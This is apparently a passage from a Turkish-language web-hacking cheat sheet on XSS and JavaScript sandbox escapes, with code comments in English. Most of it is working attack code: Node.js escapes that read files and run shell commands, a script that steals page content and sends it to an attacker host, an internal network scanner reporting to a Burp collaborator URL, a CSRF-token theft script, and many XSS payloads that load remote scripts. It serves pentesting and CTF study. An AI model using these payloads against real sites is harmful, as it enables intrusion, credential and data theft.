// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer her şey tanımsızsa güvenilmeyen kodu çalıştırmadan önce (örneğin bu yazıda) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
import() kullanarak
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
require'a dolaylı erişim
Buna göre modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:
Bu nedenle, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, o fonksiyondan require erişmek için arguments.callee.caller.arguments[1] kullanmak mümkündür:
Önceki örnekteki gibi, hata işleyicilerini kullanarak modülün wrapper'ına erişmek ve require fonksiyonunu almak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
JavaScript'ten çerezlere erişemeyeceksiniz eğer çerezde HTTPOnly bayrağı ayarlanmışsa. Ama burada bu korumayı aşmanın bazı yolları var, eğer şanslıysanız.
Sayfa İçeriğini Çalmak
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
İç IP'leri Bulun
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
Keylogger
Sadece github'da arama yaparak birkaç farklı tane buldum:
Ayrıca metasploit http_javascript_keylogger kullanabilirsiniz.
CSRF tokenlarını çalmak
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Gizli İçeriğe Erişim
bu yazıdan öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Önbellek kullanan bir sitede XSS elde ettiniz mi? Bu yük ile Edge Side Include Injection aracılığıyla bunu SSRF'ye yükseltmeyi deneyin:
<esi:include src="http://yoursite.com/capture" />
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşabilirsiniz!
Bu teknik hakkında daha fazla bilgi burada: XSLT.
Dinamik oluşturulan PDF'de XSS
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan boturastgele JS kodu çalıştırması için kandırmayı deneyebilirsiniz.
Yani, eğer PDF oluşturucu bot bazı HTMLetiketleri bulursa, bunları yorumlayacak ve bu davranışı istismar ederek bir Sunucu XSS oluşturabilirsiniz.
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara AMP bileşenleri aracılığıyla erişilebilir.
AMP for Email formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.